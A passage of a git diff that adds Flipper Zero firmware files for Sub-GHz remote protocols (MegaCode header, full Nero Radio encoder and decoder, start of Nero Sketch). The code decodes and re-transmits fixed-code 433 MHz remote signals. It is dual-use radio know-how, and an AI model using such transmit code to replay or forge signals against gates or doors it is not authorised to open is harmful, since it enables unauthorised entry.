+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 3;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%06lX\r\n"
+        "Sn:0x%04lX - %lu\r\n"
+        "Facility:%lX Btn:%X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)instance->generic.data,
+        instance->generic.serial,
+        instance->generic.serial,
+        instance->generic.cnt,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.h
new file mode 100644
index 000000000..616ecdf64
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_MEGACODE_NAME "MegaCode"
+
+typedef struct SubGhzProtocolDecoderMegaCode SubGhzProtocolDecoderMegaCode;
+typedef struct SubGhzProtocolEncoderMegaCode SubGhzProtocolEncoderMegaCode;
+
+extern const SubGhzProtocolDecoder subghz_protocol_megacode_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_megacode_encoder;
+extern const SubGhzProtocol subghz_protocol_megacode;
+
+/**
+ * Allocate SubGhzProtocolEncoderMegaCode.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderMegaCode* pointer to a SubGhzProtocolEncoderMegaCode instance
+ */
+void* subghz_protocol_encoder_megacode_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderMegaCode.
+ * @param context Pointer to a SubGhzProtocolEncoderMegaCode instance
+ */
+void subghz_protocol_encoder_megacode_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderMegaCode instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_megacode_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderMegaCode instance
+ */
+void subghz_protocol_encoder_megacode_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderMegaCode instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_megacode_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderMegaCode.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderMegaCode* pointer to a SubGhzProtocolDecoderMegaCode instance
+ */
+void* subghz_protocol_decoder_megacode_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderMegaCode.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ */
+void subghz_protocol_decoder_megacode_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderMegaCode.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ */
+void subghz_protocol_decoder_megacode_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_megacode_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_megacode_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderMegaCode.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_megacode_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderMegaCode.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_megacode_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderMegaCode instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_megacode_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.c
new file mode 100644
index 000000000..212dc684f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.c
@@ -0,0 +1,456 @@
+#include "nero_radio.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolNeroRadio"
+
+static const SubGhzBlockConst subghz_protocol_nero_radio_const = {
+    .te_short = 200,
+    .te_long = 400,
+    .te_delta = 80,
+    .min_count_bit_for_found = 56,
+};
+
+struct SubGhzProtocolDecoderNeroRadio {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+};
+
+struct SubGhzProtocolEncoderNeroRadio {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    NeroRadioDecoderStepReset = 0,
+    NeroRadioDecoderStepCheckPreambula,
+    NeroRadioDecoderStepSaveDuration,
+    NeroRadioDecoderStepCheckDuration,
+} NeroRadioDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_nero_radio_decoder = {
+    .alloc = subghz_protocol_decoder_nero_radio_alloc,
+    .free = subghz_protocol_decoder_nero_radio_free,
+
+    .feed = subghz_protocol_decoder_nero_radio_feed,
+    .reset = subghz_protocol_decoder_nero_radio_reset,
+
+    .get_hash_data = subghz_protocol_decoder_nero_radio_get_hash_data,
+    .serialize = subghz_protocol_decoder_nero_radio_serialize,
+    .deserialize = subghz_protocol_decoder_nero_radio_deserialize,
+    .get_string = subghz_protocol_decoder_nero_radio_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_nero_radio_encoder = {
+    .alloc = subghz_protocol_encoder_nero_radio_alloc,
+    .free = subghz_protocol_encoder_nero_radio_free,
+
+    .deserialize = subghz_protocol_encoder_nero_radio_deserialize,
+    .stop = subghz_protocol_encoder_nero_radio_stop,
+    .yield = subghz_protocol_encoder_nero_radio_yield,
+};
+
+const SubGhzProtocol subghz_protocol_nero_radio = {
+    .name = SUBGHZ_PROTOCOL_NERO_RADIO_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_nero_radio_decoder,
+    .encoder = &subghz_protocol_nero_radio_encoder,
+};
+
+void* subghz_protocol_encoder_nero_radio_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderNeroRadio* instance = malloc(sizeof(SubGhzProtocolEncoderNeroRadio));
+
+    instance->base.protocol = &subghz_protocol_nero_radio;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_nero_radio_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNeroRadio* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderNeroRadio instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_nero_radio_get_upload(SubGhzProtocolEncoderNeroRadio* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = 49 * 2 + 2 + (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    for(uint8_t i = 0; i < 49; i++) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_nero_radio_const.te_short);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_nero_radio_const.te_short);
+    }
+
+    //Send start bit
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)830);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_nero_radio_const.te_short);
+
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nero_radio_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_nero_radio_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_nero_radio_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_nero_radio_const.te_long);
+        }
+    }
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_nero_radio_const.te_long);
+        if(instance->generic.data_count_bit == 57) {
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)1300);
+        } else {
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_nero_radio_const.te_short * 23);
+        }
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_nero_radio_const.te_short);
+        if(instance->generic.data_count_bit == 57) {
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)1300);
+        } else {
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_nero_radio_const.te_short * 23);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nero_radio_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNeroRadio* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_nero_radio_const.min_count_bit_for_found);
+
+        if((ret == SubGhzProtocolStatusErrorValueBitCount) &&
+           (instance->generic.data_count_bit == 57)) {
+            ret = SubGhzProtocolStatusOk;
+        } else {
+            if(ret != SubGhzProtocolStatusOk) {
+                break;
+            }
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_nero_radio_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_nero_radio_stop(void* context) {
+    SubGhzProtocolEncoderNeroRadio* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_nero_radio_yield(void* context) {
+    SubGhzProtocolEncoderNeroRadio* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_nero_radio_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderNeroRadio* instance = malloc(sizeof(SubGhzProtocolDecoderNeroRadio));
+    instance->base.protocol = &subghz_protocol_nero_radio;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_nero_radio_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_nero_radio_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+    instance->decoder.parser_step = NeroRadioDecoderStepReset;
+}
+
+void subghz_protocol_decoder_nero_radio_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case NeroRadioDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_nero_radio_const.te_short) <
+                       subghz_protocol_nero_radio_const.te_delta)) {
+            instance->decoder.parser_step = NeroRadioDecoderStepCheckPreambula;
+            instance->decoder.te_last = duration;
+            instance->header_count = 0;
+        }
+        break;
+    case NeroRadioDecoderStepCheckPreambula:
+        if(level) {
+            if((DURATION_DIFF(duration, subghz_protocol_nero_radio_const.te_short) <
+                subghz_protocol_nero_radio_const.te_delta) ||
+               (DURATION_DIFF(duration, subghz_protocol_nero_radio_const.te_short * 4) <
+                subghz_protocol_nero_radio_const.te_delta)) {
+                instance->decoder.te_last = duration;
+            } else {
+                instance->decoder.parser_step = NeroRadioDecoderStepReset;
+            }
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_nero_radio_const.te_short) <
+            subghz_protocol_nero_radio_const.te_delta) {
+            if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_nero_radio_const.te_short) <
+               subghz_protocol_nero_radio_const.te_delta) {
+                // Found header
+                instance->header_count++;
+                break;
+            } else if(
+                DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_nero_radio_const.te_short * 4) <
+                subghz_protocol_nero_radio_const.te_delta) {
+                // Found start bit
+                if(instance->header_count > 40) {
+                    instance->decoder.parser_step = NeroRadioDecoderStepSaveDuration;
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 0;
+                } else {
+                    instance->decoder.parser_step = NeroRadioDecoderStepReset;
+                }
+            } else {
+                instance->decoder.parser_step = NeroRadioDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = NeroRadioDecoderStepReset;
+        }
+        break;
+    case NeroRadioDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = NeroRadioDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = NeroRadioDecoderStepReset;
+        }
+        break;
+    case NeroRadioDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)1250)) {
+                //Found stop bit
+                if(DURATION_DIFF(
+                       instance->decoder.te_last, subghz_protocol_nero_radio_const.te_short) <
+                   subghz_protocol_nero_radio_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                } else if(
+                    DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_nero_radio_const.te_long) <
+                    subghz_protocol_nero_radio_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                instance->decoder.parser_step = NeroRadioDecoderStepReset;
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_nero_radio_const.min_count_bit_for_found) ||
+                   (instance->decoder.decode_count_bit ==
+                    subghz_protocol_nero_radio_const.min_count_bit_for_found + 1)) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = NeroRadioDecoderStepReset; //-V1048
+                break;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_nero_radio_const.te_short) <
+                 subghz_protocol_nero_radio_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_nero_radio_const.te_long) <
+                 subghz_protocol_nero_radio_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = NeroRadioDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_nero_radio_const.te_long) <
+                 subghz_protocol_nero_radio_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_nero_radio_const.te_short) <
+                 subghz_protocol_nero_radio_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = NeroRadioDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = NeroRadioDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = NeroRadioDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_nero_radio_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_nero_radio_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nero_radio_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+    SubGhzProtocolStatus stat;
+
+    stat = subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_nero_radio_const.min_count_bit_for_found);
+
+    if((stat == SubGhzProtocolStatusErrorValueBitCount) &&
+       (instance->generic.data_count_bit == 57)) {
+        return SubGhzProtocolStatusOk;
+    } else {
+        return stat;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_nero_radio_parse_data(SubGhzBlockGeneric* instance) {
+    // Key samples from unit tests
+    // 57250501049DD3
+    // 57250502049D13
+    //
+    // Samples from remote
+    // 36E4E80104A644
+    // 36E4E80204A684
+    // 36E4E80304A604
+    // 36E4E80404A6E4
+
+    // possible contents
+    // serial  button serial/const  crc??
+    // 5725050 1      049D          D3
+    // 5725050 2      049D          13
+    // 36E4E80 1      04A6          44
+    // 36E4E80 2      04A6          84
+    // 36E4E80 3      04A6          04
+    // 36E4E80 4      04A6          E4
+
+    // serial is larger than uint32 can't fit into serial field
+    // using data2 var since its uint64_t
+    instance->btn = (instance->data >> 24) & 0xF;
+    instance->data_2 = ((instance->data >> 28) << 16) | ((instance->data >> 8) & 0xFFFF);
+}
+
+void subghz_protocol_decoder_nero_radio_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderNeroRadio* instance = context;
+
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    uint32_t code_found_reverse_hi = code_found_reverse >> 32;
+    uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
+
+    subghz_protocol_nero_radio_parse_data(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Yek:0x%lX%08lX\r\n"
+        "Sn: 0x%llX \r\n"
+        "CRC?: 0x%02X\r\n"
+        "Btn: %X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        code_found_hi,
+        code_found_lo,
+        code_found_reverse_hi,
+        code_found_reverse_lo,
+        instance->generic.data_2,
+        (uint8_t)(instance->generic.data & 0xFF),
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.h
new file mode 100644
index 000000000..0598aee6c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_NERO_RADIO_NAME "Nero Radio"
+
+typedef struct SubGhzProtocolDecoderNeroRadio SubGhzProtocolDecoderNeroRadio;
+typedef struct SubGhzProtocolEncoderNeroRadio SubGhzProtocolEncoderNeroRadio;
+
+extern const SubGhzProtocolDecoder subghz_protocol_nero_radio_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_nero_radio_encoder;
+extern const SubGhzProtocol subghz_protocol_nero_radio;
+
+/**
+ * Allocate SubGhzProtocolEncoderNeroRadio.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderNeroRadio* pointer to a SubGhzProtocolEncoderNeroRadio instance
+ */
+void* subghz_protocol_encoder_nero_radio_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderNeroRadio.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroRadio instance
+ */
+void subghz_protocol_encoder_nero_radio_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroRadio instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_nero_radio_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroRadio instance
+ */
+void subghz_protocol_encoder_nero_radio_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderNeroRadio instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_nero_radio_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderNeroRadio.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderNeroRadio* pointer to a SubGhzProtocolDecoderNeroRadio instance
+ */
+void* subghz_protocol_decoder_nero_radio_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderNeroRadio.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ */
+void subghz_protocol_decoder_nero_radio_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderNeroRadio.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ */
+void subghz_protocol_decoder_nero_radio_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_nero_radio_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_nero_radio_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderNeroRadio.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_nero_radio_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderNeroRadio.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_nero_radio_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderNeroRadio instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_nero_radio_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.c
new file mode 100644
index 000000000..a8a011aa6
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.c
@@ -0,0 +1,374 @@
+#include "nero_sketch.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolNeroSketch"
+
+static const SubGhzBlockConst subghz_protocol_nero_sketch_const = {
+    .te_short = 330,
+    .te_long = 660,
+    .te_delta = 150,
+    .min_count_bit_for_found = 40,
+};
+
+struct SubGhzProtocolDecoderNeroSketch {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    uint16_t header_count;
+};
+
+struct SubGhzProtocolEncoderNeroSketch {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    NeroSketchDecoderStepReset = 0,
+    NeroSketchDecoderStepCheckPreambula,
+    NeroSketchDecoderStepSaveDuration,
+    NeroSketchDecoderStepCheckDuration,
+} NeroSketchDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_nero_sketch_decoder = {
+    .alloc = subghz_protocol_decoder_nero_sketch_alloc,
+    .free = subghz_protocol_decoder_nero_sketch_free,
+
+    .feed = subghz_protocol_decoder_nero_sketch_feed,
+    .reset = subghz_protocol_decoder_nero_sketch_reset,
+
+    .get_hash_data = subghz_protocol_decoder_nero_sketch_get_hash_data,
+    .serialize = subghz_protocol_decoder_nero_sketch_serialize,
+    .deserialize = subghz_protocol_decoder_nero_sketch_deserialize,
+    .get_string = subghz_protocol_decoder_nero_sketch_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_nero_sketch_encoder = {
+    .alloc = subghz_protocol_encoder_nero_sketch_alloc,
+    .free = subghz_protocol_encoder_nero_sketch_free,
+
+    .deserialize = subghz_protocol_encoder_nero_sketch_deserialize,
+    .stop = subghz_protocol_encoder_nero_sketch_stop,
+    .yield = subghz_protocol_encoder_nero_sketch_yield,
+};
+
+const SubGhzProtocol subghz_protocol_nero_sketch = {
+    .name = SUBGHZ_PROTOCOL_NERO_SKETCH_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_nero_sketch_decoder,
+    .encoder = &subghz_protocol_nero_sketch_encoder,
+};
+
+void* subghz_protocol_encoder_nero_sketch_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderNeroSketch* instance = malloc(sizeof(SubGhzProtocolEncoderNeroSketch));
+
+    instance->base.protocol = &subghz_protocol_nero_sketch;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_nero_sketch_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderNeroSketch* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderNeroSketch instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_nero_sketch_get_upload(SubGhzProtocolEncoderNeroSketch* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = 47 * 2 + 2 + (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    for(uint8_t i = 0; i < 47; i++) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_nero_sketch_const.te_short);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_nero_sketch_const.te_short);
+    }
+
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_nero_sketch_const.te_short * 4);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_nero_sketch_const.te_short);
+
+    //Send key data
